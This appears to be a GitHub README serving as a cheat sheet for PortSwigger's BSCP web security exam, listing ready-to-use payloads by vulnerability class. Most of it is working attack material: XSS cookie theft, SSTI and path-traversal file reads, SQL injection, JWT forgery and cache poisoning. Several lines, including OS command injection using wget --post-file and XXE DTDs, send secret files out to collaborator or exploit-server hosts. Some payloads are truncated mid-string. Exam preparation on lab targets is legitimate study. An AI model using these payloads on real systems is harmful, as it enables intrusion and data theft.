BSCP / cheatsheet /

D4mianWayne structuring notes 01d1245 · 2 months ago

Name	Name	Last commit date
..		
PROGRESS.md	structuring notes	2 months ago
README.md	structuring notes	2 months ago
stage-1.md	structuring notes	2 months ago
stage-2.md	structuring notes	2 months ago
stage-3.md	structuring notes	2 months ago

README.md

The sources provide numerous examples of payloads and techniques used in penetration testing, particularly those associated with the PortSwigger Web Security Academy labs and related certifications, falling into distinct vulnerability categories.

Here is a comprehensive list of patterns and ready-to-use payloads, categorized by the vulnerability type they exploit, drawn directly from the source material:

Category 1: Cross-Site Scripting (XSS) Payloads

These payloads are designed to execute arbitrary JavaScript, typically aimed at session theft (exfiltrating `document.cookie`).

Vulnerability Context	Description	Payload Example
Reflected XSS (HTTP	Injecting script into a header like `User-agent`	`"><script>alert(document.cookie);var x=new`

Vulnerability Context	Description	Payload Example
Smuggling via User-Agent)	when smuggling is possible.	
XSS in Search Bar (Filtered Tags/Attributes)	Using allowed HTML tags and attributes (e.g., `<body onhashchange=>`) combined with base64 encoding to bypass filters and execute cookie stealing logic.	`<iframe src="[VULN_URL]/?query=%27%3Cbody%20onhashchange=%22eval(ato onload="this.onload='';this.src+='#XSS'"></`
DOM XSS via Web Messages (JSON Parse Sink)	Injecting a malicious `javascript:` URL into a controllable parameter (`redirectUrl`) delivered via a web message (`postMessage`).	`<iframe src=[VULN_URL] onload='this.content`
Filtered XSS Bypass (Mixed-case/Script Tag Closure)	Bypassing filtering that blocks `<script>` by using mixed case tags and alternate event handlers (e.g., `onerror`).	`</ScRiPt><ScRiPt>window["document"]["locat:`
Reflected XSS (Basic Probe)	Simple payload used to confirm reflection.	`?searchterm="><script>alert%281%29<%2Fscri`

Category 2: Server-Side Injection Payloads

This category includes payloads for Server-Side Template Injection (SSTI), SQL Injection (SQLi), and OS Command Injection.

Server-Side Template Injection (SSTI)

Attack Type	Goal	Payload Example
SSTI (Python/Jinja2 equivalent)	Reading a sensitive file (e.g., `/home/carlos/secret`).	`{{ ''.__class__.__mro__.__subclasses__()('/home/carlos/secret').read() }}`

SQL Injection (SQLi)

Attack Type	Context/Goal	Payload Example (PostgreSQL)
Blind SQLi (Time Delay)	Boolean condition testing for `administrator` password's first character (`a`), triggering a 10-second delay (`pg_sleep`).	`query=testing^'))SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(pass_`
UNION Attack (Data Retrieval)	Retrieving `username` and `password` columns from the `users` table (assuming 2 string columns found).	`' UNION SELECT username, password FROM users`
UNION Attack (Column Count)	Probing column count using NULLs (example for 3 columns).	`' UNION SELECT NULL,NULL,NULL--`

Attack Type	Context/Goal	Payload Example (PostgreSQL)
UNION Attack (Concatenation)	Retrieving concatenated `username` and `password` in a single column (Oracle syntax shown).	`' UNION SELECT username || '~' || password`
Time-based Blind SQLi (MS SQL Server)	Triggering a conditional 10-second time delay.	`'; IF (1=1) WAITFOR DELAY '0:0:10'--`

OS Command Injection

Attack Type	Context/Goal	Payload Example
OOB Data Exfiltration (Image Size)	Injecting command into an image size parameter using backticks to execute `wget` and post file contents to a collaborator server.	`img-size="` **/usr/bin/wget%20--post-file%20/home/carlos/secret%20https://[COLLAB-LINK]/ "**
OOB Data Exfiltration (XML Upload)	Injecting command substitution (`$(cat /path/to/file)`) within a ping request to exfiltrate data via a DNS lookup to a collaborator server.	`<email>` 0&ping $(cat /home/carlos/secret).[COLLABORATOR].net & `</email>`

Category 3: Data Retrieval and File Access Payloads

This covers Local File Inclusion (LFI) and XML External Entity (XXE) attacks.

Local File Inclusion (LFI) / Directory Traversal

Attack Type	Goal	Payload Example (Double URL Encoded Path Trave
LFI/Directory Traversal	Accessing sensitive system files like `/etc/passwd`.	`/admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%2`
LFI/Directory Traversal	Accessing the process environment variables.	`/admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%2`

XML External Entity (XXE)

Attack Type	Context/Goal	Payload Example (OOB Data Exfiltration)	Sources
Malicious XML File Content	Points the `xxe` entity to an external DTD hosted on the exploit server.	`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://[EXPLOIT-SERVER]/exploit.dtd"> %xxe; ]> <users>... <username>&xxe; </username> ...</users>`	
External DTD Content (Exploit Server)	Uses file entity to read target file and then exfiltrates it via an OOB network request to a collaborator.	`<!ENTITY % file SYSTEM "file:///home/carlos/secret"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://[COLLABORATOR].net/?x=%file;'>"> %eval; %exfil;`	

Category 4: Authorization and Authentication Payloads

This category includes techniques for JWT manipulation, access control bypass (IDOR), and CSRF token bypass.

JSON Web Token (JWT) Attacks

Attack Type	Context/Goal	Payload Example (Injection Point)	Sources
Algorithm Confusion	Modify header to use symmetric algorithm (`HS256`) when the server expects asymmetric (`RS256`), then sign the token using the server's public key as the secret.	**Header:** `{ "alg": "HS256", "typ": "JWT" }`	
Accepting No Signature	Setting the algorithm to `none` (sometimes requiring obfuscation like mixed case) to skip verification.	**Header:** `{ "alg": "none", "typ": "JWT" }`	
`kid` Parameter (Path Traversal)	Injecting path traversal sequence in the `kid` header to force the server to use a static file (like `/dev/null`) as the verification key.	**Header:** `{ "kid": "../../path/to/file", "typ": "JWT", "alg": "HS256", ... }`	
`jwk` Parameter Injection	Embedding an attacker's own public key in the token header for verification.	**Header:** `{ "alg": "RS256", "jwk": { "kty": "RSA", "e": "AQAB", ... }, ... }` (Requires tool support like Burp JWT Editor extension)	

Access Control and IDOR

Attack Type	Goal	Payload/Technique	Sources
IDOR / Role Modification	Finding and manipulating a hidden parameter (`roleid`) in a request (e.g., Change Email request) to escalate privileges.	**JSON Body Injection:** Add or modify parameter: `"roleid": [NUMBER]` (Brute force range to find administrator's ID)	

CSRF/Session Bypass

Attack Type	Goal	Payload/Technique	Sources
CSRF Token Not Tied to Session	Obtaining a valid CSRF token and session cookie from one user (e.g., Carlos) and substituting them into a critical request (e.g., password reset or profile change) for a target user (e.g., administrator).	**Cookie/CSRF Exchange:** Intercept the target's request (e.g., password request for administrator), then exchange the cookie and CSRF token with a valid set obtained from an attacker-controlled session.	

Category 5: Web Cache and HTTP Header Manipulation

These payloads exploit intermediaries like caches, load balancers, and reverse proxies.

Attack Type	Context/Goal	Payload Example	Sources
Password Reset Poisoning	Using a forged header to poison the password reset link sent by the server.	**Header Injection:** `X-Forwarded-Host: [YOUR-EXPLOIT-SERVER]`	
Web Cache Poisoning (Resource Import)	Poisoning the cache to serve malicious JavaScript by manipulating the dynamically generated resource URL.	**Header Injection (Poisoning Key):** `X-Forwarded-Host: [EXPLOIT-SERVER-DOMAIN]`	

Attack Type	Context/Goal	Payload Example	Sources
HTTP Host Header Validation Bypass	Bypassing validation that omits the port by supplying a non-numeric port payload.	**Header Injection:** `Host: vulnerable-website.com:bad-stuff-here`	
Host Override Headers	Injecting host value via alternate headers if the main `Host` header is checked.	**Header Injection:** `X-Forwarded-Host: bad-stuff-here` (Also includes `X-Host`, `Forwarded`, etc.)	
CSRF Referer Bypass (Omission)	Omitting the `Referer` header to bypass checks when validation depends on the header being present.	**HTML META Tag:** `<meta name="referrer" content="never">`	

The Exam Pattern: Categories and Goal Payloads

The patterns observed across these examples focus on achieving high-impact goals through specific attack chains:

1. **Privilege Escalation/Session Hijack:** Achieved by tampering with cookies, JWT claims, or hidden parameters (`roleid`).
2. **Information Retrieval/Discovery:** Achieved using injections (SSTI, SQLi, XXE) to read files (`/home/carlos/secret`), extract database credentials, or enumerate users.
3. **Client-Side Compromise/Cookie Theft:** Achieved using XSS payloads delivered via cache poisoning, DOM manipulation, or request smuggling.

When approaching an "exam" setting, these examples highlight the necessity of testing various inputs (parameters, headers, file contents, JSON/XML bodies) with payloads tailored for:

- **Header Manipulation:** `Host`, `X-Forwarded-Host`, `X-Forwarded-For`, `User-Agent`.
- **Authentication Tokens:** Modifying JWT headers (`alg`, `kid`, `jwk`) or brute-forcing session IDs/parameters (`roleid`).
- **Encoding:** Using double URL encoding or Base64 encoding to bypass filters for XSS or LFI/XXE payloads.

You can think of these exploit chains like a key and lock system: **Input Source** (e.g., query string, cookie, header) + **Vulnerable Sink/Function** (e.g., database query, HTML reflection, template engine) = **Goal Payload**. Your task is often to find the correct format that allows the data from the source to reach the sink without being sanitized.